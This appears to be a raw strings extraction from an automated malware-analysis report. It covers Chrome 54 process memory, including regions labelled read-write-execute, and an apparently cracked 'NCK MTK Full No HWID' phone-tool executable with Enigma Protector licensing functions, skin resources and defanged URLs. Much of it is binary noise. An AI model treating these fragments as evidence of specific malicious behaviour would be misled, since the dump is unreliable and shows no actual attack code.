C:\b\build\slave\win-pgo\build\src\out\Release\initialexe\chrome.exe.pdb

.text$di

.text$mn

.text$x

.text$yd

.idata$5

.CRT$XCA

.CRT$XCAA

.CRT$XCC

.CRT$XCL

.CRT$XCU

.CRT$XCZ

.CRT$XIA

.CRT$XIAA

.CRT$XIAC

.CRT$XIC

.CRT$XIZ

.CRT$XLA

.CRT$XLB

.CRT$XLZ

.CRT$XPA

.CRT$XPX

.CRT$XPXA

.CRT$XPZ

.CRT$XTA

.CRT$XTZ

.rdata

.rdata$T

.rdata$r

.rdata$sxdata

.rdata$zETW0

.rdata$zETW1

.rdata$zETW2

.rdata$zETW9

.rdata$zzzdbg

.rtc$IAA

.rtc$IZZ

.rtc$TAA

.rtc$TZZ

.xdata$x

.didat$2

.didat$3

.didat$4

.didat$6

.didat$7

.edata

.idata$2

.idata$3

.idata$4

.idata$6

.data

.data$r

.didat$5

.gfids$x

.gfids$y

.tls$ZZZ

.rsrc$01

.rsrc$02

chrome.exe

SignalChromeElf

chrome_elf.dll

RegOpenKeyExW

RegEnumKeyExW

RegCreateKeyExW

RegQueryInfoKeyW

RegCloseKey

ADVAPI32.dll

CreateIoCompletionPort

GetWindowsDirectoryW

GetProcessHandleCount

KERNEL32.dll

ShellExecuteExW

SHELL32.dll

CloseWindowStation

CreateWindowStationW

GetProcessWindowStation

SetProcessWindowStation

USER32.dll

VERSION.dll

WINMM.dll

WTSAPI32.dll

RPCRT4.dll

GetCPInfo

GetProcessHeap

PeekNamedPipe

DisconnectNamedPipe

WaitNamedPipeW

WINHTTP.dll

.?AU_Crt_new_delete@std@@

a.IDATx

%F?????????3 

ÿFFFFFFFFFFFFFFF?B%

:1----16

Rhgf^rrrr(   ?NOCdhgfrrrr...DlEBScjhg^rr,001k>985Tnhherr-12

:BBBBBBBBBB>>-.jdddcccca

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></dependentAssembly></dependency><dependency><dependentAssembly><assemblyIdentity type="win32" name="54.0.2840.59" version="54.0.2840.59" language="*"></assemblyIdentity></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS></application></compatibility></assembly>

3 3*363@3

6 6%6-646

-0F3K4U4g4m4r4}4

1$3 303{3

081?1_1?3

4!4%4)4{4

9—9d9

; <0<6<;<

<&=.=6=>=~=

? ?$?(?,?

5 5$5(5,5

5 5$5(5,5054585

9,9094989

< <$<(<,<0<4<

4 4<4@4\4`4|4

5 5<5@5\5`5|5

KERNEL32.DLL

mscoree.dll

ext-ms-win-ntuser-windowstation-l1-1-0

portuguese-brazilian

Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers

nchrome_watcher.dll

PreReadChromeChildInBrowser

${windows}

Ndebug.log

\StringFileInfo\xx\%ls

ntdll.dll

shell32.dll

resources.pak

script.log

chrome

pepflashplayer.dll

Browse the web

Software\Microsoft\Windows\CurrentVersion\Uninstall\Chromium

{7D2B3E1D-D096-4594-9D8F-A6667F12E0AC}

{A2DF06F9-A21A-44A8-8A99-8B9C84F29160}

Chrome

chrome_child.dll

chrome.dll

Google Chrome Canary

{4ea16ac7-fd5a-47c3-875b-dbf4a2008c20}

ChromeCanary

Chrome Canary HTML Document

ChromeSSHTM

{1BEAC3E3-B852-44F4-B468-8906C062422E}

{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}

Google Chrome binaries

hXXps://support.google.com/chrome/contact/chromeuninstall3?hl=$1

Google Chrome

%d.%d.%d

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

ChromeHTML

Chrome HTML Document

{8A69D345-D564-463c-AFF1-A69D9E530F96}

{5C65F4B0-3651-4514-B207-D10CB699B14B}

Google Chrome Frame

Chrome in a Frame.

Google\Chrome Frame

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Frame

{8BA986DA-5100-405E-AA35-86F34A02ACBF}

WebAccessible

-chromeframe

-chrome

lSOFTWARE\Policies\Google\Chrome

reports

settings.dat

ALPC Port

\Sessions\%d\AppContainerNamedObjects\%ls

sHKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_PERFORMANCE_TEXT

HKEY_PERFORMANCE_NLSTEXT

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

pipe\

egdi32.dll

tntdll.dll

xntdll.dll

Chrome_MessageWindow

Failed to create directory %ls, last error is %d

Chrome SxS\Application

winhttp.dll

54.0.2840.59

chrome_exe

chrome.exe_2824_rwx_00060000_00001000:

KERNEL32.DLL

chrome.exe_2824_rwx_000A0000_00001000:

KERNEL32.DLL

chrome.exe_2712:

.text

`.rdata

@.data

.gfids

@.tls

.rsrc

@.reloc

D$,j.Xf

j.Yf;

_tcPVj@

.PjRW

ole32.dll

POWRPROF.dll

address family not supported

broken pipe

function not supported

inappropriate io control operation

not supported

operation canceled

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

InitOnceExecuteOnce

operator

operator ""

?#%X.y

%S#[k

?OLEAUT32.dll

user32.dll

c:\b\build\slave\win-pgo\build\src\chrome\app\chrome_exe_main_win.cc

c:\b\build\slave\win-pgo\build\src\chrome\app\main_dll_loader_win.cc

Failed to load Chrome DLL from

ChromeMain

RelaunchChromeBrowserWithNewCommandLineIfNeeded

Could not find exported function

%s: option `%s' is ambiguous (could be `--%s' or `--%s')

%s: invalid option -- `-%c'

%s: argument required for option `

--%s'

0.8.0

%ls (%s) %s

hXXps://crashpad.chromium.org/

hXXps://crashpad.chromium.org/bug/new

Report %ls bugs to

%s home page: <%s>

%ls: %s

(0x%X)

Error (0x%X) while retrieving error. (0x%X)

PlatformFile.UnknownErrors.Windows

c:\b\build\slave\win-pgo\build\src\base\threading\thread_local_win.cc

0123456789

(flags = 0x%x)

Histogram: %s recorded %d samples

.syzygy

.thunks

Windows NT

Histogram.InconsistentCountHigh

Histogram.InconsistentCountLow

c:\b\build\slave\win-pgo\build\src\base\metrics\persistent_memory_allocator.cc

(%d = %3.1f%%)

UMA.CreatePersistentHistogram.Result

Dictionary keys must be quoted.

Unsupported encoding. JSON must be UTF-8.

Line: %i, column: %i, %s

widevinecdmadapter.dll

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\google_update_settings.cc

Failed to write to application's ClientState key

Removed incremental installer failure key; switching to channel:

Removed multi-install failure key; switching to channel:

CHROME_PROBED_PROGRAM_FILES_PATH

chrome-sxs

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\google_chrome_distribution.cc

iexplore.exe

googlechrome

googlechromeframe

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\channel_info.cc

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\language_selector.cc

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\app_commands.cc

Cannot initialize AppCommands from an invalid key.

Skipping over key "

Failed to open key "

Cannot initialize an AppCommand from an invalid key.

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\app_command.cc

CHROME_MAIN_TICKS

user_experience_metrics.reporting_enabled

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\client\settings.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\numeric\in_range_cast.h

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc

x-x-x-xx-xxxxxx

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\misc\uuid.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\file\file_io.cc

--annotation=KEY=VALUE set a process annotation in each crash report

--database=PATH store the crash report database at PATH

create a new pipe and send its name via HANDLE

--pipe-name=PIPE communicate with the client over PIPE

--url=URL send crash reports to this Breakpad server URL,

pipe-name

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\handler\handler_main.cc

duplicate key

--annotation requires KEY=VALUE

--handshake-handle and --pipe-name are incompatible

--handshake-handle or --pipe-name is required

SetProcessShutdownParameters

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\handler\crash_report_upload_thread.cc

reserved key

FinishedWritingCrashReport failed

PrepareNewCrashReport failed

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\handler\win\crash_report_exception_handler.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\minidump\minidump_file_writer.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\minidump\minidump_writer_util.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\minidump\minidump_writable.cc

%s.%s,%s,%s

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\minidump\minidump_context_writer.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\minidump\process_snapshot_minidump.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\process_snapshot_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\crashpad_info_client_options.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\minidump\minidump_simple_string_dictionary_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\minidump\module_snapshot_minidump.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\exception_snapshot_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\module_snapshot_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\system_snapshot_win.cc

%s %d.%d.%d.%s%s

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\process_reader_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\minidump\minidump_string_list_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\capture_memory.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\cpu_context_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\pe_image_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\pe_image_annotations_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\process_subrange_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\pe_image_resource_reader.cc

kernel32.dll

c:\b\build\slave\win-pgo\build\src\sandbox\win\src\sandbox_policy_base.cc

NtOpenKey

NtCreateKey

GetCertificateSize

GetCertificate

GetCertificateSizeByHandle

GetCertificateByHandle

SetOPMSigningKeyAndSequenceNumbers

CreateNamedPipeW

NtOpenKeyEx

PruneCrashReportDatabase: Failed to get pending reports

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\client\prune_crash_reports.cc

PruneCrashReportDatabase: Failed to get completed reports

Database Pruning: Failed to remove report

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\exception_handler_server.cc

::GetNamedPipeClientProcessId

\\.\pipe\crashpad_%d_

ImpersonateNamedPipeClient

ConnectNamedPipe

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\file\file_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\net\http_transport_win.cc

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpCloseHandle

Crashpad/0.8.0

WinHttpOpen

WinHttpSetTimeouts

WinHttpReceiveResponse

WinHttpQueryHeaders

HTTP status %d

WinHttpReadData

WinHttpAddRequestHeaders

WinHttpSendRequest

%%x

--%s%sContent-Disposition: form-data; name="%s"

; filename="%s"%s

Content-Type: %s%s

multipart/form-data; boundary=%s

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\scoped_process_suspend.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\file\file_seeker.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\process_info.cc

Reading x64 process from x86 process not supported

0x%llx   0x%llx (%s)

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\module_version.cc

<failed to retrieve error message (0x%x)>

(0xx)

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\scoped_local_alloc.cc

SetNamedPipeHandleState

WaitNamedPipe

TransactNamedPipe: expected

TransactNamedPipe

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\registration_protocol_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\net\http_body.cc

InvokeMainViaCRT

ExitMainViaCRT

Microsoft.CRTProvider

C:\b\build\slave\win-pgo\build\src\out\Release\initialexe\chrome.exe.pdb

.text$di

.text$mn

.text$x

.text$yd

.idata$5

.CRT$XCA

.CRT$XCAA

.CRT$XCC

.CRT$XCL

.CRT$XCU

.CRT$XCZ

.CRT$XIA

.CRT$XIAA

.CRT$XIAC

.CRT$XIC

.CRT$XIZ

.CRT$XLA

.CRT$XLB

.CRT$XLZ

.CRT$XPA

.CRT$XPX

.CRT$XPXA

.CRT$XPZ

.CRT$XTA

.CRT$XTZ

.rdata

.rdata$T

.rdata$r

.rdata$sxdata

.rdata$zETW0

.rdata$zETW1

.rdata$zETW2

.rdata$zETW9

.rdata$zzzdbg

.rtc$IAA

.rtc$IZZ

.rtc$TAA

.rtc$TZZ

.xdata$x

.didat$2

.didat$3

.didat$4

.didat$6

.didat$7

.edata

.idata$2

.idata$3

.idata$4

.idata$6

.data

.data$r

.didat$5

.gfids$x

.gfids$y

.tls$ZZZ

.rsrc$01

.rsrc$02

chrome.exe

SignalChromeElf

chrome_elf.dll

RegOpenKeyExW

RegEnumKeyExW

RegCreateKeyExW

RegQueryInfoKeyW

RegCloseKey

ADVAPI32.dll

CreateIoCompletionPort

GetWindowsDirectoryW

GetProcessHandleCount

KERNEL32.dll

ShellExecuteExW

SHELL32.dll

CloseWindowStation

CreateWindowStationW

GetProcessWindowStation

SetProcessWindowStation

USER32.dll

VERSION.dll

WINMM.dll

WTSAPI32.dll

RPCRT4.dll

GetCPInfo

GetProcessHeap

PeekNamedPipe

DisconnectNamedPipe

WaitNamedPipeW

WINHTTP.dll

.?AU_Crt_new_delete@std@@

a.IDATx

%F?????????3 

ÿFFFFFFFFFFFFFFF?B%

:1----16

Rhgf^rrrr(   ?NOCdhgfrrrr...DlEBScjhg^rr,001k>985Tnhherr-12

:BBBBBBBBBB>>-.jdddcccca

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></dependentAssembly></dependency><dependency><dependentAssembly><assemblyIdentity type="win32" name="54.0.2840.59" version="54.0.2840.59" language="*"></assemblyIdentity></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS></application></compatibility></assembly>

3 3*363@3

6 6%6-646

-0F3K4U4g4m4r4}4

1$3 303{3

081?1_1?3

4!4%4)4{4

9—9d9

; <0<6<;<

<&=.=6=>=~=

? ?$?(?,?

5 5$5(5,5

5 5$5(5,5054585

9,9094989

< <$<(<,<0<4<

4 4<4@4\4`4|4

5 5<5@5\5`5|5

KERNEL32.DLL

mscoree.dll

ext-ms-win-ntuser-windowstation-l1-1-0

portuguese-brazilian

Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers

nchrome_watcher.dll

PreReadChromeChildInBrowser

${windows}

Ndebug.log

\StringFileInfo\xx\%ls

ntdll.dll

shell32.dll

resources.pak

script.log

chrome

pepflashplayer.dll

Browse the web

Software\Microsoft\Windows\CurrentVersion\Uninstall\Chromium

{7D2B3E1D-D096-4594-9D8F-A6667F12E0AC}

{A2DF06F9-A21A-44A8-8A99-8B9C84F29160}

Chrome

chrome_child.dll

chrome.dll

Google Chrome Canary

{4ea16ac7-fd5a-47c3-875b-dbf4a2008c20}

ChromeCanary

Chrome Canary HTML Document

ChromeSSHTM

{1BEAC3E3-B852-44F4-B468-8906C062422E}

{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}

Google Chrome binaries

hXXps://support.google.com/chrome/contact/chromeuninstall3?hl=$1

Google Chrome

%d.%d.%d

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

ChromeHTML

Chrome HTML Document

{8A69D345-D564-463c-AFF1-A69D9E530F96}

{5C65F4B0-3651-4514-B207-D10CB699B14B}

Google Chrome Frame

Chrome in a Frame.

Google\Chrome Frame

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Frame

{8BA986DA-5100-405E-AA35-86F34A02ACBF}

WebAccessible

-chromeframe

-chrome

lSOFTWARE\Policies\Google\Chrome

reports

settings.dat

ALPC Port

\Sessions\%d\AppContainerNamedObjects\%ls

sHKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_PERFORMANCE_TEXT

HKEY_PERFORMANCE_NLSTEXT

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

pipe\

egdi32.dll

tntdll.dll

xntdll.dll

Chrome_MessageWindow

Failed to create directory %ls, last error is %d

Chrome SxS\Application

winhttp.dll

%Program Files%\Google\Chrome\Application\chrome.exe

54.0.2840.59

chrome_exe

NCK MTK Full No HWID.exe_592:

P.rsrc

.data

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

Uh.TA

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

EInvalidGraphicOperation

Uh.CB

comctl32.dll

USER32.DLL

uxtheme.dll

%s%s%s%s%s%s%s%s%s%s

Proportional

Uh<%C

MAPI32.DLL

OnKeyDown

OnKeyPress

OnKeyUp

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

TKeyEvent

TKeyPressEvent

HelpKeyword

crSQLWait

%s (%s)

imm32.dll

AutoHotkeys

AutoHotkeysh

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowStateL

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

1.2.3

Invalid ZStream operation!

ole32.dll

olepro32.dll

Options.dat

msimg32.dll

TacMDIWnd

C.PhP

r.uXhl

user32.dll

TacScrollBarsSupport

TacButtonsSupport

TacButtonsSupportX

MenuSupport

c:\Skins

WEBBUTTON

1.tmp

.JPEG

2.tmp

3333333

Please, update a skins to latest or link with the AlphaControls support for upgrading of existing skin.

This version of the skin have not complete support by used AlphaControls package release.

TacMenuSupport

TacMenuSupportL

Webdings

Uh.OL

TAddItemExEvent

DWMAPI.DLL

acMDIIcons

Cannot load image. %s not supported for %s files.

Cannot load image. Palette in %s file is invalid.

Cannot load image. Invalid or unexpected %s image format.

Cannot load image. CRC error found in %s file.

Cannot load image. Extra compressed data found in %s file.

Cannot load image. Compression error found in %s file.

Invalid color format in %s file.

Conversion between indexed and non-indexed pixel formats is not supported.

Portable network graphics (AlphaControls)

Loader.exe

hXXps://VVV.facebook.com/profile.php?id=100006816004547

inflate 1.2.3 Copyright 1995-2005 Mark Adler

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

KWindows

UrlMon

%sPopupClndr

)NCK Dongle Android MTK 2.5.6.2 GSM X TEAM

Font.Charset

Font.Color

Font.Height

Font.Name

Font.Style

Icon.Data

Picture.Data

2016:04:14 23:58:05

]v.sl

urlTEXT

MsgeTEXT

HhXXp://ns.adobe.com/xap/1.0/

<x:xapmeta xmlns:x='adobe:ns:meta/' x:xaptk='XMP toolkit 2.8.2-33, framework 1.5'>

<rdf:RDF xmlns:rdf='hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:iX='hXXp://ns.adobe.com/iX/1.0/'>

<rdf:Description about='uuid:5e231b69-02d7-11e6-89b4-a7c076b43199'

xmlns:xapMM='hXXp://ns.adobe.com/xap/1.0/mm/'>

<xapMM:DocumentID>adobe:docid:photoshop:5e231b67-02d7-11e6-89b4-a7c076b43199</xapMM:DocumentID>

=-UE%F

.YBVd)

vE%u0

v.Rzi(j

-5}}51W

NCK Dongle Android MTK 2.5.6.2

SkinData.SkinSection

Options.datHJ

.TK|B

ButtonHuge.bmp6

Master.bmp

4,;;;777

4'''555!!!^3

8;;;---11

.KJJ*  eh

1(%c`bvFJ~nz

Close.pngh

Edit.png

K&\.JF

Exbor.png.F

.tOee

Z~b%D%

P.zY8

GlowBtn.png

Max.png

Min.png

Master.bmp\

nC.vQ

A|dA.dD^X

dA.dD^d

@|dA.dD^d

#dA.dD^d

.xzzn

HMM%u

Uw.oF

k%XnH

Ex.png

GlowCAlone.png

GlowClose.PNGt

GlowMax.PNG

GlowMin.png

GlowNorm.png9

Huge.bmp6

%d"^B

%%%SS

US<J.Ev

4(000]@ 3

Xb.pngB

G0AÀ|

V%Xs2l-yRo7Qn

Huge.bmp6

L:Z.Nr

g8~XkÄ

Master.bmpLf

.WScc

Vi...ON

l,.nBZJJ

jurl6

CloseAG.png9

CloseG.png

MaxG.png

MinG.png

NormG.png!

Assshff

Options.dat4?

%CR.{

ButtonHuge.bmp8

Master.bmpty

*8,,*665  

@#555###;;;//

k.TKc

%dVSe

ButtonGlow.png

ExtBord.png

@iQe%fV

Options.dat O

4696959

zR-Y}

%ssy#

.Xs"1

:?*.Pk

CloseBtnGlow.png

ExBord.png

GlowingBtn.png

GlowingHugeBtn.pngb

MaxBtnGlow.png

avN516w%S9

MinBtnGlow.png2

NormalBtnGlow.png

avA516w%S9\T1L

Bg.bmp

Bg_dark.bmp

Master.bmpf

-SSS};z

$!6&/;%#5.-

Xb.pngi

~ ?4 ./<

0#@.Rt9

8 .yTC3hH

.fTK$

z5%S6

32<22<33

?%5855$55

dI.vo

%sRvl

V.Ht*3pV8

Master.bmpR

'.iVc

%d)Lg

v~D|

vCRt

v%Xu`5v

FN.po

PaÕ)

u].wM 

%xY;M

<.sj:|

l.cS|Q\

c.dNiA

X{f<.cmi

=p.wP

(8.jd;

Kc~.hTz

^N.xE

f{.cy

SM.pJX

z%X'w

7C.dD^d7

dA.dD^d7

w@|dA.dD^

dA.dD^dg

A|dA.dD^d

r[.Iz

a:\!}

MenuSupport.IcoLineSkin

ICOLINE!MenuSupport.ExtraLineFont.Charset

MenuSupport.ExtraLineFont.Color

clWindowText MenuSupport.ExtraLineFont.Height

MenuSupport.ExtraLineFont.Name

MenuSupport.ExtraLineFont.Style

ThirdParty.ThirdEdits

ThirdParty.ThirdButtons

ThirdParty.ThirdBitBtns

ThirdParty.ThirdCheckBoxes

ThirdParty.ThirdGroupBoxes

ThirdParty.ThirdListViews

ThirdParty.ThirdPanels

ThirdParty.ThirdGrids

ThirdParty.ThirdTreeViews

ThirdParty.ThirdComboBoxes

ThirdParty.ThirdWWEdits

ThirdParty.ThirdVirtualTrees

ThirdParty.ThirdGridEh

ThirdParty.ThirdPageControl

ThirdParty.ThirdTabControl

ThirdParty.ThirdToolBar

ThirdParty.ThirdStatusBar

ThirdParty.ThirdSpeedButton

ThirdParty.ThirdScrollControl

ThirdParty.ThirdUpDown

ThirdParty.ThirdScrollBar

ThirdParty.ThirdStaticText

Constraints.MinHeight

Constraints.MinWidth

TsShellTreeView

sShellTreeView1

sShellTreeView1Change

BoundLabel.Active

BoundLabel.Caption

BoundLabel.Indent

BoundLabel.Layout

BoundLabel.MaxWidth

VertScrollBar.Tracking

FormKeyPress

Constraints.MaxHeight

Constraints.MaxWidth

Glyph.Data

Brush.Color

Pen.Style

BoundLabel.UseSkinColor

GlyphMode.Grayed

Colors.Strings

sEditHexKeyPress

!"#$%&*;<=>@[]^_`{|}

.Owner

TNT Internal Error: TWideComponentHelper.Create should never be encountered.

w:\3rdparty\TntUnicode\Source\TntClasses.pas

Internal Error: Unexpected format type (%s)

W:\3rdparty\ScreamSec\SecUtils.pas

TCipher.CreateIntf: Algorithm mismatch

TBlockCipher.CreateIntf: Wrong VectorSize

Cipher mode not supported

The vector for %s is %d blocks. Cannot initialize with a %d block vector.

The block size for %s is %d bytes and the key is %d bytes. Cannot initialize with a %d block vector.

The minimum key and IV size for %s is %d bytes.

Not supported

TRijndael_PipedPCFB

Rijndael: Invalid key size - %d

2.16.840.1.101.3.4.1.1

2.16.840.1.101.3.4.1.21

2.16.840.1.101.3.4.1.41

1.3.6.1.4.1.13085.1.22

1.3.6.1.4.1.13085.1.23

1.3.6.1.4.1.13085.1.24

2.16.840.1.101.3.4.1.4

2.16.840.1.101.3.4.1.24

2.16.840.1.101.3.4.1.44

1.3.6.1.4.1.13085.1.7

1.3.6.1.4.1.13085.1.8

1.3.6.1.4.1.13085.1.9

1.3.6.1.4.1.13085.1.4

1.3.6.1.4.1.13085.1.5

1.3.6.1.4.1.13085.1.6

1.3.6.1.4.1.13085.1.10

1.3.6.1.4.1.13085.1.11

1.3.6.1.4.1.13085.1.12

1.3.6.1.4.1.13085.1.1

1.3.6.1.4.1.13085.1.2

1.3.6.1.4.1.13085.1.3

1.3.6.1.4.1.13085.1.16

1.3.6.1.4.1.13085.1.17

1.3.6.1.4.1.13085.1.18

2.16.840.1.101.3.4.1.2

2.16.840.1.101.3.4.1.22

2.16.840.1.101.3.4.1.42

1.3.6.1.4.1.13085.1.19

1.3.6.1.4.1.13085.1.20

1.3.6.1.4.1.13085.1.21

2.16.840.1.101.3.4.1.3

2.16.840.1.101.3.4.1.23

2.16.840.1.101.3.4.1.43

2.16.840.1.101.3.4.1.5

2.16.840.1.101.3.4.1.25

2.16.840.1.101.3.4.1.45

/* Dr Brian Gladman (gladman@seven77.demon.co.uk) 14th January 1999 */

TGenerator.Create: Cipher mode must be cmCTR.

UhY%f

Uh9%f

TMPPool.CheckThreadID: Called from the wrong thread.

TMPPool.Cache: Invalid pointer

TMPPool.Obtain: Out of memory

TMPPool.InternalCheck: Invalid pointer

Portugal

Turkey

TKeyVerifyParams

12345678-

!.EFT

EP_RegCheckKey

EP_RegCheckKeyA

EP_RegCheckKeyW

EP_RegSaveKey

EP_RegSaveKeyA

EP_RegSaveKeyW

EP_RegLoadKey

EP_RegLoadKeyA

EP_RegLoadKeyW

EP_RegLoadAndCheckKey

EP_RegCheckAndSaveKey

EP_RegCheckAndSaveKeyA

EP_RegCheckAndSaveKeyW

EP_RegDeleteKey

EP_RegKeyExpirationDate

EP_RegKeyExpirationDateEx

EP_RegKeyCreationDate

EP_RegKeyCreationDateEx

EP_RegKeyExecutions

EP_RegKeyExecutionsTotal

EP_RegKeyExecutionsLeft

EP_RegKeyDays

EP_RegKeyDaysTotal

EP_RegKeyDaysLeft

EP_RegKeyRuntime

EP_RegKeyRuntimeTotal

EP_RegKeyRuntimeLeft

EP_RegKeyGlobalTime

EP_RegKeyGlobalTimeTotal

EP_RegKeyGlobalTimeLeft

EP_RegKeyRegisterAfterDate

EP_RegKeyRegisterAfterDateEx

EP_RegKeyRegisterBeforeDate

EP_RegKeyRegisterBeforeDateEx

EP_TrialExecutions

EP_TrialExecutionsTotal

EP_TrialExecutionsLeft

EP_TrialExecutionTime

EP_TrialExecutionTimeTotal

EP_TrialExecutionTimeLeft

EP_RegCheckKeyEx

EP_RegSaveKeyEx

EP_RegLoadKeyEx

EP_CheckUpStartupPasswordHashString

EP_ProtectedStringByKey

EP_RegKeyInformation

EP_RegKeyInformationA

EP_RegKeyInformationW

EP_RegKeyStatus

Windows 95

WIN_VER_WINDOWS95

Windows 95 OSR2

WIN_VER_WINDOWS95OSR2

Windows 98

WIN_VER_WINDOWS98

Windows 98 SE

